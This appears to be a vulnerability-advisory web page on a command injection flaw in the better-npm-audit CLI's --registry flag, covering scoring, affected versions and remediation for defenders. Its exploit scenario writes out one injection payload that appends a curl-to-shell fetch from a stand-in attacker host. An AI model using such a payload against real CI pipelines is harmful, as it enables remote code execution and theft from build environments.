Skip to main content

better-npm-audit CVE-2026-57998

| EUVDEUVD-2026-64261 HIGH
OS Command Injection (CWE-78)
2026-08-22 VulnCheck GHSA-f8p4-pxm9-xwx5
8.5
CVSS 4.0 · Vendor: VulnCheck
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Control CI/CD pipeline variable or workflow file
  2. Delivery
    Supply metacharacter-laden registry URL as --registry value
  3. Exploit
    better-npm-audit interpolates value into shell command string
  4. Execution
    child_process.exec() passes string to system shell
  5. Persist
    Shell executes injected commands with CI runner privileges
  6. Impact
    Data exfiltration or environment compromise

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires control over the value passed to the --registry flag of better-npm-audit. In direct CLI usage, this means a local user or attacker with local access must invoke the tool with a crafted argument. In CI/CD environments - the most impactful threat scenario - an attacker who can influence pipeline variables, workflow YAML files, or any configuration source that populates the --registry argument can trigger execution without local shell access, as the injection fires when automation runs the tool. No special configuration of better-npm-audit itself is required; the vulnerability is present in the default code path whenever the --registry flag is used with any value. Limiting factors include: the CVSS 4.0 AV:L designation (tool is a local CLI utility, not a network service), the UI:P requirement (a human or automated process must invoke the tool), and the fact that the --registry flag must actually be passed - invocations that omit this flag are not affected. Unauthenticated remote exploitation against a network-exposed service is not applicable to this product.

Impact

The CVSS 4.0 score of 8.5 reflects high impact across confidentiality, integrity, and availability (VC:H/VI:H/VA:H) with low attack complexity, but the local attack vector (AV:L) and passive user interaction requirement (UI:P) substantially constrain the realistic threat surface compared to a network-exploitable vulnerability. The most credible attack path is through CI/CD pipelines where an adversary can influence the --registry argument - via a compromised workflow file, a malicious pull request, or a poisoned pipeline variable - causing the injection to fire when automation runs better-npm-audit. No EPSS data was provided, and the vulnerability is not listed in CISA KEV, indicating no confirmed widespread exploitation. The publicly available GitHub issue and PR diff make the vulnerability trivially reproducible, meaning any operator - from a large enterprise to a small development team - who relies on better-npm-audit in automated pipelines should treat remediation as urgent given the absence of a patched release. The CVSS 4.0 vector is consistent with the description: AV:L because the tool is a local CLI utility rather than a network service, and PR:N because no elevated privileges are required to pass a flag to a CLI tool.

Exploit ScenarioDerived

An attacker with write access to a CI/CD pipeline's configuration - for example, through a malicious pull request to an open-source project or a compromised repository secret - sets the --registry value to a string such as https://registry.npmjs.org;curl${IFS}http://attacker.example/shell.sh|sh. When the automated pipeline invokes better-npm-audit with this value, child_process.exec() passes the full string to /bin/sh, which interprets the semicolon as a command separator and executes the injected shell commands with the privileges of the CI runner process. The vulnerable code path is publicly documented in the GitHub issue and PR diff, making exploit construction straightforward for any attacker familiar with Node.js command injection patterns.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
No patch listed yet 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 22, 2026

Command injection in better-npm-audit through 3.11.0 (and the 4.0.0-rc.2 prerelease) allows arbitrary OS command execution when a value containing shell metacharacters is supplied to the --registry CLI flag. The vulnerability exists because handleInput.ts interpolates the raw registry value into a shell command string that is then passed to Node.js child_process.exec(), which spawns a system shell and interprets metacharacters such as semicolons, pipes, and backticks as command separators or substitutions. No confirmed active exploitation or CISA KEV listing exists at time of analysis, but the vulnerable code path is publicly documented in GitHub issue #119 and the diff of PR #120, significantly lowering the barrier to exploit development.

RemediationAI

No vendor-released patched version has been confirmed at time of analysis - the upstream fix exists only as pull request #120 at https://github.com/jeemok/better-npm-audit/pull/120, which adds URL validation to the registry argument. Users should monitor the repository (https://github.com/jeemok/better-npm-audit) for a tagged release incorporating this change and upgrade immediately when available. As a compensating control, avoid supplying the --registry flag with any externally sourced, user-controlled, or pipeline-variable-derived value; instead hardcode the registry URL in pipeline configuration files under source control. In CI/CD environments, restrict who can modify workflow files or pipeline variables that feed into better-npm-audit invocations, as this is the primary injection vector. Consider replacing better-npm-audit with a direct npm audit invocation until a patched release ships; the trade-off is loss of better-npm-audit's enhanced filtering and exit-code features. If the tool must remain in use, run it under a least-privilege OS account to limit the blast radius of any successful injection.

Affected VersionsENISA

better-npm-audit 0 ≤3.11.0
better-npm-audit 4.0.0-rc.2

Affected Packages

euvd better_npm_audit no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

better-npm-audit (CPE: cpe:2.3:a:jeemok:better-npm-audit:*:*:*:*:*:*:*:*) is a Node.js CLI wrapper around npm audit that provides enhanced filtering and exit-code control. The root cause is CWE-78 (Improper Neutralization of Special Elements used in an OS Command). Specifically, src/handlers/handleInput.ts lines 30-37 constructs an npm audit invocation by string-interpolating the user-supplied --registry value directly into a command string; index.ts line 34 then passes this string to child_process.exec(). Unlike execFile() or spawn() with an argument array, exec() delegates parsing to the underlying system shell (/bin/sh on Unix, cmd.exe on Windows), so any shell metacharacter in the registry value is interpreted as shell syntax rather than a literal URL character. The upstream fix in PR #120 introduces a validateRegistryUrl() function that rejects strings containing dangerous metacharacters ([;|&`$(){}[]<> ]) and enforces that the value parses as a valid http: or https: URL before it is used in command construction.

Know when Better Npm Audit gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulnCheck) PRIMARY 8.5 HIGH
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
vuln.today AI 7.8 HIGH

Local CLI tool requires user or automation to invoke with crafted argument (AV:L, UI:R); no privileges needed to supply a CLI flag (PR:N); shell injection yields full system-level command execution (C:H/I:H/A:H).

3.1 AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
4.0 AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (VulnCheck).

CVSS VectorVendor: VulnCheck

Attack Vector
Local
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
Passive
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

DescriptionCVE.org

better-npm-audit through 3.11.0, and the 4.0.0-rc.2 prerelease, builds its npm audit command by interpolating the user-supplied --registry option into a command string in src/handlers/handleInput.ts without validation or quoting, then passes that string to child_process.exec() in index.ts, which spawns a shell. A registry value containing shell metacharacters such as a semicolon, pipe, or command substitution executes arbitrary operating system commands with the privileges of the process running the audit.

Executive ViewAI

Why It Matters

better-npm-audit versions through 3.11.0 contain a command injection vulnerability in the --registry CLI flag that allows arbitrary OS command execution when processing untrusted registry parameters. Organizations using this tool in their build pipelines could experience compromised systems, code tampering, and supply chain risks.

Business Impact: High
Compensating Controls

Until a vendor patch is available, implement mandatory input validation blocking shell metacharacters (;, |, backticks, $()) in the registry parameter; restrict the --registry flag to pre-approved, internal registry sources only; enforce execution of better-npm-audit within isolated, sandboxed environments with minimal system privileges; or immediately discontinue use and migrate to alternative npm security scanning tools that enforce safe command construction patterns.

Threat Intelligence Overview

EPSS Score
0.2%
Top 88% exploitable
Prevalence
Low
niche Node.js developer CLI tool, limited enterprise deployment footprint
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.2%
Patch available No
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Small
Automatable· derived
No
Human Impact
High

Priority Score

42
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +42
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy